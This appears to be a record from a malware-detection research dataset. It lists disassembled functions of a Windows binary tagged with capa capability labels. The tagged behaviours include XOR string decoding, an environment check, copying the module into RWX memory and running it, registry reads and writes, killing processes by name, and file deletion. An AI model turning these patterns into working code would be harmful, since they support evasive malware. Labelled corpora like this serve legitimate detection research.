joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff7ec5c00d0
Capabilities:
Encode data using xor
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x10]
sub rsp, 0x110
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x40], xmm0
xor ebx, ebx
mov qword [rbp - 0x30], rbx
lea rdx, [rsp + 0x20]
call fcn.7ff7ec5bf6d0
test al, al
je 0x7ff7ec5c01fc
mov dword [rbp + 0x38], 0xeff3e1ba
mov word [rbp + 0x3c], 0xec
mov byte [rbp + 0x3e], 1
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx - 0x6c]
xor byte [rbp + rcx + 0x38], al
inc rcx
cmp rcx, 5
jb 0x7ff7ec5c0120
mov byte [rbp + 0x3e], 0
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.7ff7ec5bf880
mov rsi, rax
mov dword [rbp + 0x40], 0xf6f2e7ba
mov dword [rbp + 0x44], 0x100f8ec
mov rdx, rbx
nop word [rax + rax]
lea ecx, [rdx - 0x6c]
xor byte [rbp + rdx + 0x40], cl
inc rdx
cmp rdx, 6
jb 0x7ff7ec5c0160
mov byte [rbp + 0x47], 0
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.7ff7ec5bf880
mov rdi, rax
mov dword [rbp + 0x38], 0xe3f7f1ba
mov word [rbp + 0x3c], 0xf9
mov byte [rbp + 0x3e], 1
nop word [rax + rax]
lea ecx, [rbx - 0x6c]
xor byte [rbp + rbx + 0x38], cl
inc rbx
cmp rbx, 5
jb 0x7ff7ec5c01a0
mov byte [rbp + 0x3e], 0
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.7ff7ec5bf880
mov rbx, rax
test rsi, rsi
je 0x7ff7ec5c01fc
cmp rsi, rdi
jae 0x7ff7ec5c01fc
cmp rdi, rax
jae 0x7ff7ec5c01fc
lea rcx, [rbp - 0x20]
call qword [sym.imp.kernel32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [rdi + 0xc]
mov rcx, qword [rbp + 8]
div ecx
test edx, edx
jne 0x7ff7ec5c01fc
xor edx, edx
mov eax, dword [rbx + 0xc]
div ecx
test edx, edx
jne 0x7ff7ec5c01fc
mov bl, 1
jmp 0x7ff7ec5c01fe
xor bl, bl
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x7ff7ec5c023f
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7ec5c023a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7ec5c023a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7ec61e988
movzx eax, bl
mov rbx, qword [rsp + 0x130]
add rsp, 0x110
pop rdi
pop rsi
pop rbp
ret

Function at 0x7ff7ec5c0260
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rcx, rax
mov rbx, rax
call fcn.7ff7ec5c00d0
test al, al
je 0x7ff7ec5c0314
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.7ff7ec5bf8f0
mov r9d, 0x40
mov edx, eax
mov r8d, 0x3000
mov esi, eax
xor ecx, ecx
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x7ff7ec5c02fd
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [0x7ff7ec5bf9e0]
mov rdx, rdi
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.kernel32.dll_VirtualFree]
mov rcx, rbx
call fcn.7ff7ec5bfeb0
nop
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff7ec5c02f0
cmp rbx, 1
jne 0x7ff7ec5c0308
call fcn.7ff7ec575750
mov rdi, qword [rsp + 0x38]
xor eax, eax
mov rsi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
Function at 0x7ff7ec5c0340
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x60
mov rbp, rdx
mov rdi, rcx
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.7ff7ec563c30
mov rbx, rax
mov dword [rsp + 0x98], 1
mov dword [rsp + 0x90], 0xff
lea rdx, [0x7ff7ec870d50]
cmp qword [0x7ff7ec870d68], 0x10
cmovae rdx, qword [0x7ff7ec870d50]
mov rcx, 0xffffffff80000001
call fcn.7ff7ec5c04a0
mov rsi, rax
mov r8, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x7ff7ec5c03b0
mov r8, qword [rbx]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
xor edx, edx
lea r9d, [rdx + 2]
mov rcx, rsi
call qword [sym.imp.advapi32.dll_RegGetValueA]
mov ebp, eax
mov rcx, rsi
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x7ff7ec5c041f
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7ec5c041a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7ec5c0487
mov rcx, r8
call fcn.7ff7ec61e988
xor esi, esi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x7ff7ec5c0466
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x7ff7ec5c0461
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7ec5c048e
mov rcx, r8
call fcn.7ff7ec61e988
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov eax, ebp
mov rbx, qword [rsp + 0x88]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x7ff7ec5c0520
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [0x7ff7ec870d68], 0x10
mov rbx, rdx
mov rdi, rcx
lea rdx, [0x7ff7ec870d50]
cmovae rdx, qword [0x7ff7ec870d50]
mov rcx, 0xffffffff80000001
call fcn.7ff7ec5c04a0
cmp qword [rbx + 0x18], 0x10
mov rsi, rax
mov eax, dword [rbx + 0x10]
mov rcx, rbx
jb 0x7ff7ec5c0570
mov rcx, qword [rbx]
cmp qword [rdi + 0x18], 0x10
mov rdx, rdi
jb 0x7ff7ec5c057d
mov rdx, qword [rdi]
mov dword [rsp + 0x28], eax
mov r9d, 1
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.advapi32.dll_RegSetValueExA]
mov rcx, rsi
mov ebp, eax
call qword [sym.imp.advapi32.dll_RegCloseKey]
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x7ff7ec5c05d9
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7ec5c05d4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7ec5c0646
mov rcx, r8
call fcn.7ff7ec61e988
xor esi, esi
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rsi
mov byte [rdi], sil
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x7ff7ec5c0620
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x7ff7ec5c061b
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff7ec5c0646
mov rcx, r8
call fcn.7ff7ec61e988
mov qword [rbx + 0x10], rsi
mov eax, ebp
mov rbp, qword [rsp + 0x48]
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x7ff7ec5c7b00
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x150
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 2]
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x7ff7ec5c7bba
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
call sub.kernel32.dll_Process32First
test eax, eax
je 0x7ff7ec5c7bb1
mov qword [rsp + 0x160], rdi
nop dword [rax + rax]
cmp qword [rbx + 0x18], 0x10
mov rdx, rbx
jb 0x7ff7ec5c7b5d
mov rdx, qword [rbx]
lea rcx, [rsp + 0x4c]
call qword [sym.imp.ucrtbase.dll__stricmp]
test eax, eax
jne 0x7ff7ec5c7b98
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x7ff7ec5c7b98
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rsi
call sub.kernel32.dll_Process32Next
test eax, eax
jne 0x7ff7ec5c7b50
mov rdi, qword [rsp + 0x160]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, qword [rsp + 0x168]
add rsp, 0x150
pop rsi
ret
Function at 0x7ff7ec5ceac0
Capabilities:
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 0x20], rbp
push rsi
sub rsp, 0x80
mov rbp, qword [rcx + 0x10]
mov rsi, rcx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 2
jb 0x7ff7ec5cec7c
cmp qword [rsi + 0x18], 0x10
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rdi
mov qword [r11 + 0x18], r14
jb 0x7ff7ec5ceb06
mov rsi, qword [rsi]
xor edx, edx
lea r14, [rbp + 2]
mov ebx, 0xf
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x30], rdx
lea rdi, [rsp + 0x20]
mov qword [rsp + 0x38], rdx
cmp r14, rbx
jbe 0x7ff7ec5ceba1
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x7ff7ec5ceb62
mov rbx, rcx
movabs rax, 0x8000000000000027
mov rcx, rax
call fcn.7ff7ec61e94c
test rax, rax
je 0x7ff7ec5cec47
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x7ff7ec5ceb9c
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x7ff7ec5ceb8a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff7ec5cec82
jmp 0x7ff7ec5ceb43
test rcx, rcx
je 0x7ff7ec5ceb99
call fcn.7ff7ec61e94c
mov rdi, rax
jmp 0x7ff7ec5ceb9c
mov rdi, rdx
mov qword [rsp + 0x20], rdi
mov r8, rbp
mov qword [rsp + 0x30], r14
mov rdx, rsi
mov qword [rsp + 0x38], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
lea rcx, [rsp + 0x40]
mov eax, 0x2a5c
mov word [rdi + rbp], ax
xor eax, eax
mov byte [rdi + r14], 0
cmp qword [rsp + 0x38], 0x10
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x20]
cmovae rax, qword [rsp + 0x20]
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x50], rax
mov eax, 0x414
movups xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x48], 3
movups xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x60], ax
call qword [sym.imp.shell32.dll_SHFileOperationA]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x7ff7ec5cec53
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7ec5cec4e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7ec5cec4e
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7ec61e988
mov rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x90]
mov r14, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0xa8]
add rsp, 0x80
pop rsi
ret
call fcn.7ff7ec566500
int3
call fcn.7ff7ec566470
int3
Function at 0x7ff7ec6400c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rsi, r9
mov r15, r8
mov r14, rdx
mov rbp, rcx
mov ecx, 0x30
call fcn.7ff7ec61e94c
mov rbx, rax
mov qword [rsp + 0xb0], rax
xor edi, edi
test rax, rax
je 0x7ff7ec64011c
mov qword [rax + 0x20], r14
lea rax, [0x7ff7ec63f270]
mov qword [rbx + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
jmp 0x7ff7ec64011f
mov rbx, rdi
mov qword [rsp + 0xb0], rbx
mov rax, qword [rsp + 0xd0]
mov dword [rbx + 0x10], eax
shr rax, 0x20
mov dword [rbx + 0x14], eax
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_StartThreadpoolIo]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, esi
mov rdx, r15
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.kernel32.dll_ReadFile]
mov r12d, eax
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
test r12d, r12d
jne 0x7ff7ec64017b
cmp eax, 0x3e5
jne 0x7ff7ec64017b
mov rbx, rdi
jmp 0x7ff7ec64024a
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_CancelThreadpoolIo]
mov rsi, 0xffffffffffffffff
test r12d, r12d
je 0x7ff7ec6401c0
mov dword [rsp + 0xd0], edi
xor r9d, r9d
lea r8, [rsp + 0xd0]
mov rdx, rbx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x7ff7ec6401d3
mov esi, dword [rsp + 0xd0]
jmp 0x7ff7ec640247
cmp r15d, 0x26
jne 0x7ff7ec6401d3
mov rax, qword [r14]
xor edx, edx
mov rcx, r14
call qword [rax + 0x18]
jmp 0x7ff7ec64024a
mov edx, r15d
lea rcx, [rsp + 0x50]
call fcn.7ff7ec640440
mov rdi, rax
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea r8, [0x7ff7ec6ef7e0]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCopyException_void____ptr64__void_const____ptr64__void_const____ptr64_
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
lea rax, [0x7ff7ec66a398]
mov qword [rdi], rax
lea rcx, [rdi + 8]
call sub.VCRUNTIME140.dll___std_exception_destroy
nop
mov rax, qword [r14]
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [rax + 0x10]
nop
lea rcx, [rsp + 0x40]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
mov rdi, rsi
test rbx, rbx
je 0x7ff7ec64025c
mov edx, 0x30
mov rcx, rbx
call fcn.7ff7ec61e988
mov rax, rdi
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x7ff7ec640280
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rsi, r9
mov r15, r8
mov r14, rdx
mov rbp, rcx
mov ecx, 0x30
call fcn.7ff7ec61e94c
mov rbx, rax
mov qword [rsp + 0xb0], rax
xor edi, edi
test rax, rax
je 0x7ff7ec6402dc
mov qword [rax + 0x20], r14
lea rax, [0x7ff7ec63f270]
mov qword [rbx + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
jmp 0x7ff7ec6402df
mov rbx, rdi
mov qword [rsp + 0xb0], rbx
mov rcx, qword [rsp + 0xd0]
cmp rcx, 0xffffffffffffffff
jne 0x7ff7ec6402fe
mov eax, 0xffffffff
mov ecx, eax
jmp 0x7ff7ec640305
mov rax, rcx
shr rax, 0x20
mov dword [rbx + 0x10], ecx
mov dword [rbx + 0x14], eax
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_StartThreadpoolIo]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8d, esi
mov rdx, r15
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.kernel32.dll_WriteFile]
mov r12d, eax
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
test r12d, r12d
jne 0x7ff7ec64034d
cmp eax, 0x3e5
jne 0x7ff7ec64034d
mov rbx, rdi
jmp 0x7ff7ec640406
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.kernel32.dll_CancelThreadpoolIo]
mov rsi, 0xffffffffffffffff
test r12d, r12d
je 0x7ff7ec64038f
mov dword [rsp + 0xd0], edi
xor r9d, r9d
lea r8, [rsp + 0xd0]
mov rdx, rbx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
je 0x7ff7ec64038f
mov esi, dword [rsp + 0xd0]
jmp 0x7ff7ec640403
mov edx, r15d
lea rcx, [rsp + 0x50]
call fcn.7ff7ec640440
mov rdi, rax
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
lea r8, [0x7ff7ec6ef7e0]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCopyException_void____ptr64__void_const____ptr64__void_const____ptr64_
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrCopy_void____ptr64__void_const____ptr64_
lea rcx, [rsp + 0x30]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
lea rax, [0x7ff7ec66a398]
mov qword [rdi], rax
lea rcx, [rdi + 8]
call sub.VCRUNTIME140.dll___std_exception_destroy
nop
mov rax, qword [r14]
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [rax + 0x10]
nop
lea rcx, [rsp + 0x40]
call sub.msvcp140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
mov rdi, rsi
test rbx, rbx
je 0x7ff7ec640418
mov edx, 0x30
mov rcx, rbx
call fcn.7ff7ec61e988
mov rax, rdi
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x7ff7ec6410b0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
mov rdi, rcx
add rcx, 0x48
call qword [sym.imp.concrt140.dll_public:_void___cdecl_Concurrency::details::_NonReentrantBlockingLock::_Acquire_void____ptr64]
mov rcx, qword [rdi + 0x70]
cmp rcx, 0xffffffffffffffff
je 0x7ff7ec64112e
mov rax, qword [rdi + 0x20]
xor ebp, ebp
test rax, rax
je 0x7ff7ec641108
lea edx, [rbp + 1]
mov rcx, rax
call fcn.7ff7ec61e988
mov qword [rdi + 0x20], rbp
mov qword [rdi + 0x30], rbp
mov qword [rdi + 0x38], rbp
mov qword [rdi + 0x28], rbp
mov rcx, qword [rdi + 0x70]
mov qword [rsp + 0x30], rbp
lea rdx, [rsp + 0x30]
call qword [sym.imp.kernel32.dll_GetFileSizeEx]
test eax, eax
je 0x7ff7ec64112e
xor edx, edx
mov rax, qword [rsp + 0x30]
div rsi
mov rsi, rax
mov qword [rdi], rax
jmp 0x7ff7ec641135
mov rsi, 0xffffffffffffffff
lea rcx, [rdi + 0x48]
call qword [sym.imp.concrt140.dll_public:_void___cdecl_Concurrency::details::_NonReentrantBlockingLock::_Release_void____ptr64]
nop
mov rax, rsi
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x7ff7ec645d90
Capabilities:
Encrypt data using dpapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x50
mov r14, rdx
mov rsi, rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
lea ecx, [rbp + 0x20]
call fcn.7ff7ec61e94c
mov rbx, rax
mov qword [rsp + 0x80], rax
test rax, rax
je 0x7ff7ec645df4
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
sub r8, rdx
mov qword [rax], rbp
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], 7
mov word [rax], bp
shr r8, 1
mov rcx, rax
call fcn.7ff7ec566820
jmp 0x7ff7ec645df7
mov rbx, rbp
mov qword [r14], rbx
mov dword [rsp + 0x20], 1
mov rcx, qword [rsi]
mov rax, qword [rsi + 8]
cmp rcx, rax
je 0x7ff7ec645e69
sub rax, rcx
mov rcx, rbx
cmp qword [rbx + 0x18], 8
jb 0x7ff7ec645e1e
mov rcx, qword [rbx]
xor r8d, r8d
mov edx, eax
call qword [sym.imp.crypt32.dll_CryptUnprotectMemory]
test eax, eax
je 0x7ff7ec645e88
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x7ff7ec645e3a
mov rdx, qword [rbx]
mov rax, qword [rsi + 0x18]
mov rcx, qword [rbx + 0x10]
sub rcx, rax
lea rdi, [rdx + rax*2]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rsi + 0x18]
cmp qword [rbx + 0x10], rax
jb 0x7ff7ec645e82
mov qword [rbx + 0x10], rax
cmp qword [rbx + 0x18], 8
jb 0x7ff7ec645e65
mov rbx, qword [rbx]
mov word [rbx + rax*2], bp
mov rax, r14
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
call fcn.7ff7ec566540
int3
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x28]
call fcn.7ff7ec640440
lea rdx, [0x7ff7ec6ef7e0]
lea rcx, [rsp + 0x28]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x7ff7ec657ea0
Capabilities:
Read http header

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rsi
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x40
mov rdi, rdx
mov rbx, rcx
xor esi, esi
mov dword [rax - 0x18], esi
mov qword [rcx], rsi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 7
mov word [rcx], si
mov dword [rax - 0x18], 1
mov dword [rax + 0x18], esi
mov qword [rax - 0x20], rsi
lea rax, [rax + 0x18]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x14]
mov rcx, rdi
call qword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov edx, dword [rsp + 0x60]
mov rax, qword [rbx + 0x10]
cmp rdx, rax
ja 0x7ff7ec657f1e
mov qword [rbx + 0x10], rdx
mov rax, rbx
cmp qword [rbx + 0x18], 8
jb 0x7ff7ec657f18
mov rax, qword [rbx]
mov word [rax + rdx*2], si
jmp 0x7ff7ec657f2c
xor r8d, r8d
sub rdx, rax
mov rcx, rbx
call fcn.7ff7ec60da70
mov r9, rbx
cmp qword [rbx + 0x18], 8
jb 0x7ff7ec657f39
mov r9, qword [rbx]
mov qword [rsp + 0x28], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [r8 + 0x14]
mov rcx, rdi
call qword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov r8, qword [rbx + 0x10]
test r8, r8
je 0x7ff7ec65806f
mov r9, qword [rbx + 0x18]
cmp r9, 8
jb 0x7ff7ec657f77
mov rax, qword [rbx]
mov rcx, rax
jmp 0x7ff7ec657f7d
mov rax, rbx
mov rcx, rbx
lea rdx, [r8 + r8]
add rax, rdx
cmp word [rcx], 0
jne 0x7ff7ec657fff
lea rdx, [rcx + 2]
cmp rdx, rax
je 0x7ff7ec657fa2
cmp word [rdx], 0
jne 0x7ff7ec657fd0
add rdx, 2
cmp rdx, rax
jne 0x7ff7ec657f93
mov qword [rbx + 0x10], rsi
mov rax, rbx
cmp r9, 8
jb 0x7ff7ec657fb2
mov rax, qword [rbx]
mov word [rax], si
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
sub rax, 2
cmp word [rax], 0
je 0x7ff7ec657fd0
sub rax, rdx
lea r8, [rax + 2]
sar r8, 1
mov rcx, rbx
call fcn.7ff7ec566820
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
sub rax, 2
cmp word [rax], 0
jne 0x7ff7ec65806f
nop dword [rax]
mov rcx, rax
sub rax, 2
cmp word [rax], 0
je 0x7ff7ec658010
sub rdx, rcx
mov rax, r8
cmp r9, 8
mov r9, rcx
jb 0x7ff7ec658037
sub r9, qword [rbx]
add rdx, qword [rbx]
mov rcx, qword [rbx]
jmp 0x7ff7ec658040
sub r9, rbx
add rdx, rbx
mov rcx, rbx
sar r9, 1
sar rdx, 1
sub rax, r9
cmp rax, rdx
cmovb rdx, rax
lea rcx, [rcx + r9*2]
sub r8, rdx
mov qword [rbx + 0x10], r8
sub r8, r9
lea r8, [r8*2 + 2]
lea rdx, [rcx + rdx*2]
call sub.VCRUNTIME140.dll_memcpy_1
mov rax, rbx
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x7ff7ec658090
Capabilities:
Read http header

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x7ff7ec85e178]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rsi, r8
mov r12, rdx
mov r14, rcx
mov rdi, qword [r8]
mov rbx, qword [rdi + 0x58]
mov r8, qword [rbx + 8]
lea rdx, [rdi + 0x58]
lea rcx, [rdi + 0x58]
call fcn.7ff7ec5de910
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x10], rbx
xor r15d, r15d
mov qword [rdi + 0x60], r15
mov dword [rbp - 0x40], r15d
mov qword [rsp + 0x28], r15
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r15 + 0x13]
mov rcx, r14
call qword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r15w
mov edx, dword [rbp - 0x40]
test rdx, rdx
jne 0x7ff7ec658131
mov qword [rbp - 0x20], rdx
mov word [rbp + rdx*2 - 0x30], r15w
jmp 0x7ff7ec65813d
xor r8d, r8d
lea rcx, [rbp - 0x30]
call fcn.7ff7ec60da70
lea r9, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae r9, qword [rbp - 0x30]
mov qword [rsp + 0x28], r15
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [r8 + 0x13]
mov rcx, r14
call qword [sym.imp.winhttp.dll_WinHttpQueryHeaders]
call qword [sym.imp.ucrtbase.dll__errno]
mov rdi, rax
